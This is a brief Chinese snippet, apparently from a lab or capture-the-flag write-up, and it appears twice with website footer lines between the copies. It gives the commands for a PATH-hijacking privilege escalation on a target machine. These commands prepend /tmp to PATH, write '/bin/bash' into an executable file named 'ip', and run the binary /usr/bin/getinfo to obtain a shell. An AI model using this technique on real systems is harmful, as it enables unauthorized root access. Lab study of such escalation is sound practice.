发现靶机有提权软件,但是没系统环境加持。
♾️ abap 代码:export PATH=/tmp/:$PATH 把/tmp路径加入到系统路径中。
cd /tmp
echo '/bin/bash' > ip 把/bin/bash写入到ip中。
chmod +x ip 增加执行权限
/usr/bin/getinfo
网站已运行 363 天 17 小时 12 分
2 online · 52 ms
·
发现靶机有提权软件,但是没系统环境加持。
♾️ abap 代码:export PATH=/tmp/:$PATH 把/tmp路径加入到系统路径中。
cd /tmp
echo '/bin/bash' > ip 把/bin/bash写入到ip中。
chmod +x ip 增加执行权限
/usr/bin/getinfo